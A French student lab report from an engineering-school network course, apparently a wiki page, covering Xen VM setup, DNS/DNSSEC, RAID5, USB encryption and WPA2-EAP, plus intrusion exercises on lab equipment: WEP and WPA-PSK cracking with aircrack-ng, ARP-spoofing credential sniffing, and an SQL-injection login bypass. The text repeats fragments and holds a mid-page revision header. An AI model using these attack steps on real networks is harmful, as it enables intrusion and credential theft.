5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

TP sysres IMA2a5 2020/2021 G7

2020-12-15T16:09:29Z

Lchenu : /* Sécurisation de site web par certificat */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
